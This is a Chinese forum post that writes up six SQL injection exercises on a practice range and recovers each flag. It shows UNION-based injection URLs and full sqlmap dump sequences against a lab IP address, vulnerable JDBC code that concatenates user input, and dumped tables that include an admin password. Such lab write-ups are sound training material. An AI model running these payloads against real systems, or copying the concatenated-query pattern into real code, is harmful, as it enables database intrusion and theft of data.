前言:
水区的朋友们,年轻就是资本,和我一起学逆向逆天改命吧,我的学习过程全部记录及学习资源:https://www.52pojie.cn/forum.php?mod=viewthread&tid=2093516&page=1#pid54862410
立帖为证!--------记录学习的点点滴滴
0x1 SQL数字型GET注入
1.目标网站的网址:aHR0cHM6Ly93d3cud2hobHdhLmNuLw==,免费靶场注册就能玩:题目给出提示信息:flag在数据库里找,复习一下相关知识,直接问deepseek要的。
| 探测方法 |
操作与Payload示例 |
预期现象 |
| 基本算术运算 |
在正常数字参数后,分别尝试进行简单的加减运算。<br>1. 正常访问:?id=2<br>2. 尝试加法:?id=2+1(URL中加号需编码为%2B)或 ?id=3-1 |
如果页面返回的内容与直接访问?id=2时完全一致,则说明我们的运算结果(3-1=2)被数据库执行了,这极大概率存在数字型注入。 |
| 逻辑语句判断 |
利用 and 逻辑,通过页面的返回差异来判断。<br>1. 输入:?id=1 and 1=1 (永真条件)<br>2. 输入:?id=1 and 1=2 (永假条件) |
如果第一种情况页面正常显示,而第二种情况页面异常或为空,则可以确认存在数字型注入。 |
小提示:数字型注入和字符型注入最大的区别在于,探测数字型注入时不需要闭合单引号,直接操作数字本身即可。
2.随便点进一篇文章,可以看到参数是id,题目已经告诉我们是数字型get型注入
http://43.142.19.83:8034/show.php?id=33
那么模拟一下sql执行,后台执行的就是类似这样的语句了:
select 参数1,参数2,参数n from 表名 where id = 33
http://43.142.19.83:8034/show.php?id=33 order by 5
当页面出错时,说明字段数小于当前数字;当页面正常时,说明字段数大于等于当前数字。逐步缩小范围找到准确的字段数。
经过测试15正常,16报错,说明字段数就是15。
http://43.142.19.83:8034/show.php?id=33 order by 15
使用union联合查询,经过这个代码测试,发现页面出现了3,11,12三个注入点。
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
替换这三个地方,执行数据库命令
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,database(),4,5,6,7,8,9,10,version(),user(),13,14,15
输出了如下信息,数据回显成功。
cms
test@localhost
5.1.73
获取当前数据库的所有表名
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
报错了,因为回显的是数字,这里返回的是字符串。
Illegal mix of collations for operation 'UNION'
使用16进制返回
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
回显:
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F75736572732C746869735F69735F666C6167
16进制解码,看到了存放flag的表
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users,this_is_flag
3.测试流程
- 确定字段数 →
order by N
- 找显示位 →
union select 1,2,3...
- 查数据库名 →
database()
- 查表名 →
information_schema.tables
- 查列名 →
information_schema.columns
- 查数据 →
select 列名 from 表名
4.接下来就是查列名,查数据,成功得到flag。
查列名
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name='this_is_flag'
this_is_flag,this_is_flag
查数据
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,hex(group_concat(flag)),4,5,6,7,8,9,10,11,12,13,14,15 from this_is_flag
flag{16aeb3e6d73689bf456c5c50f2d04b84}
0x2 目标2:SQL字符型注入一
1.先来看一下题目,同样要从数据库拿到flag,这里给出了代码。
// 采用原始的Statement拼接语句,导致漏洞产生
public String jdbcVul(String id) {
StringBuilder result = new StringBuilder();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
Statement stmt = conn.createStatement();
// 拼接语句产生SQL注入
String sql = "select * from users where id = '" + id + "'";
ResultSet rs = stmt.executeQuery(sql);
while (rs.next()) {
String res_name = rs.getString("user");
String res_pass = rs.getString("pass");
String info = String.format("查询结果 %s: %s", res_name, res_pass);
result.append(info);
}
可以看出这里select * from users where id = ' 加上我们输入的id ' 拼好这样来执行
http://43.142.19.83:8005/SQLI/JDBC/vul1?id=1%27,单引号报错,说明可以注入(没有代码的情况单引号、双引号这样探测)。
2.还是和前面数字型注入一样的测试流程。
http://43.142.19.83:8005/SQLI/JDBC/vul1?id=1' order by 4 --+
最后测出来3正常,4不正常,说明有3个字段。
http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,2,3 --+
查询结果 2: 3
http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,database(),3 --+
查询结果 test: 3
http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查询结果 auth,flag,users: 3
http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' --+
查询结果 id,flag: 3
http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,concat(id,':',flag),3 from flag --+
查询结果 flag{3fac9e7cf81d710fd1a15f011d60739f}: 3
3.成功拿到flag。
0x3 目标3:SQL字符型注入二
1.提示信息:1、页面左上角第三个保存按钮就是代码运行测试按钮 2、flag在服务器根目录下面
// PrepareStatement会对SQL语句进行预编译,但有时开发者为了便利,直接采取拼接的方式构造SQL,此时进行预编译也无用。
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
System.out.println(" 执行SQL语句:" + st);
ResultSet rs = st.executeQuery();
2.这一次复习一下sqlmap的使用。
# 1. 基础检测(确认漏洞)
sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" --batch
# 2. 获取所有数据库
sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" --dbs
[21:44:59] [INFO] fetching database names
available databases [4]:
information_schema
mysql
performance_schema
test
# 3. 获取到数据库名为 test,查数据库中的所有表
sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" -D test --tables
[21:47:46] [INFO] fetching tables for database: 'test'
Database: test
[3 tables]
+-------+
| auth |
| flag |
| users |
+-------+
# 4. 看到flag表了,查看flag表结构
sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" -D test -T flag --columns
[22:05:50] [INFO] fetching columns for table 'flag' in database 'test'
Database: test
Table: flag
[2 columns]
+--------+-----------------+
| Column | Type |
+--------+-----------------+
| flag | varchar(50) |
| id | int(5) unsigned |
+--------+-----------------+
# 5. 导出users表数据
sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" -D test -T flag --dump
[22:18:16] [INFO] fetching entries for table 'flag' in database 'test'
Database: test
Table: flag
[1 entry]
+----+----------------------------------------+
| id | flag |
+----+----------------------------------------+
| 4 | flag{3fac9e7cf81d710fd1a15f011d60739f} |
+----+----------------------------------------+
3.同样成功拿到了flag,更多sqlmap也可以问deepseek。
0x4 目标4:SQL搜索型注入01
1.打开之后是一个搜索框,输入内容后展示信息,F12看得到是一个表单,得用post请求注入,参数就是红色的那里search。
2.重复前面的流程
# 步骤2:获取数据库信息
sqlmap -u "http://43.142.19.83:8002/search.php" --data="search=test" --current-db --batch
current database: 'dwvs'
# 步骤3:获取表名
sqlmap -u "http://43.142.19.83:8002/search.php" --data="search=test" -D dwvs --tables --batch
Database: dwvs
[9 tables]
+--------------------+
| user |
| account |
| caffaine |
| dwvs_admin_message |
| dwvs_message |
| dwvs_user_message |
| dwvs_vulnerability |
| flag |
| news |
+--------------------+
# 步骤4:获取字段名(上面出现flag表了)
sqlmap -u "http://43.142.19.83:8002/search.php" --data="search=test" -D dwvs -T flag --columns --batch
Database: dwvs
Table: flag
[2 columns]
+--------+-----------------+
| Column | Type |
+--------+-----------------+
| flag | varchar(50) |
| id | int(5) unsigned |
+--------+-----------------+
# 步骤5:导出数据(查看表中的数据)
sqlmap -u "http://43.142.19.83:8002/search.php" --data="search=test" -D dwvs -T flag --dump --batch
Database: dwvs
Table: flag
[1 entry]
+----+----------------------------------------+
| id | flag |
+----+----------------------------------------+
| 2 | flag{8bce2844bc098845261fad79a3a56215} |
+----+----------------------------------------+
3.成功找到flag。
0x5 目标5:POST盲注&万能密码
1.题目考察:nmap端口扫描练习及经典的笑脸后门利用
# 基础测试,判断是否存在注入
sqlmap -u "http://43.142.19.83:8003/start/login.php" \
--data="username=admin&password=123" \
--method POST \
--level 3 \
--risk 2 \
--batch
探测到了信息
web server operating system: Linux CentOS 6
web application technology: PHP 5.3.3, Apache 2.2.15, PHP
back-end DBMS: MySQL Unknown (Drizzle fork)
2.判断当前数据库
# 获取当前数据库
sqlmap -u "http://43.142.19.83:8003/start/login.php" \
--data="username=admin&password=123" \
--method POST \
--current-db \
--batch
current database: 'uinfo'
3.查表、查数据(还是一样的测试步骤)
# 当前数据库为"uinfo"
sqlmap -u "http://43.142.19.83:8003/start/login.php" \
--data="username=admin&password=123" \
--method POST \
-D uinfo \
--tables \
--batch
Database: uinfo
[1 table]
+-------+
| users |
+-------+
# 查users表的列信息
sqlmap -u "http://43.142.19.83:8003/start/login.php" \
--data="username=admin&password=123" \
--method POST \
-D uinfo \
-T users \
--columns \
--batch
se: uinfo
Table: users
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| password | varchar(50) |
| remark | varchar(50) |
| username | varchar(50) |
+----------+-------------+
# 查users表的所有数据
sqlmap -u "http://43.142.19.83:8003/start/login.php" \
--data="username=admin&password=123" \
--method POST \
-D uinfo \
-T users \
--dump \
--batch
Database: uinfo
Table: users
[17 entries]
+----+----------------------------------------+---------------+---------------+
| id | remark | password | username |
+----+----------------------------------------+---------------+---------------+
| 1 | flag{f99c688f101bb53fdbf178ad0889182e} | zBOLTHN4xF | admin |
0x6 目标6:伪静态&搜索注入
1.输入123搜索,抓包,看到参数是key,GET方式传参。
GET /front/getNewsByKeyword.php?key=123 HTTP/1.1
Host: 43.142.19.83:8001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://43.142.19.83:8001/front/search.php
Cookie: PHPSESSID=h4cp9o26viift83uc38pdt8347
2.丢给sqlmap跑一下获取数据库信息,一样的测试流程。
# 查库
sqlmap -u "http://43.142.19.83:8001/front/getNewsByKeyword.php?key=123" --current-db --batch
current database: 'news'
# 查表
sqlmap -u "http://43.142.19.83:8001/front/getNewsByKeyword.php?key=123" -D news --tables --batch
Database: news
[6 tables]
+--------------+
| comment |
| user |
| flag_is_here |
| news |
| recycle |
| root |
+--------------+
# 查字段
sqlmap -u "http://43.142.19.83:8001/front/getNewsByKeyword.php?key=123" -D news -T flag_is_here --columns --batch
Database: news
Table: flag_is_here
[2 columns]
+-------------+--------------+
| Column | Type |
+-------------+--------------+
| fid | int(10) |
| flag_number | varchar(255) |
+-------------+--------------+
# 查数据
sqlmap -u "http://43.142.19.83:8001/front/getNewsByKeyword.php?key=123" -D news -T flag_is_here --dump --batch
Database: news
Table: flag_is_here
[1 entry]
+-----+----------------------------------------+
| fid | flag_number |
+-----+----------------------------------------+
| 1 | flag{c681ed59dd48ac30bfe913a4c73b2aaa} |
+-----+----------------------------------------+
3.成功得到了flag。
0x7 总结
1、都是基础题,复习一下SQL注入知识和工具使用了。
2、有了deepseek不怕遇到困难没人指点了,现在AI很强大的,大家也可以试试掌握一点基础的逆向知识呢。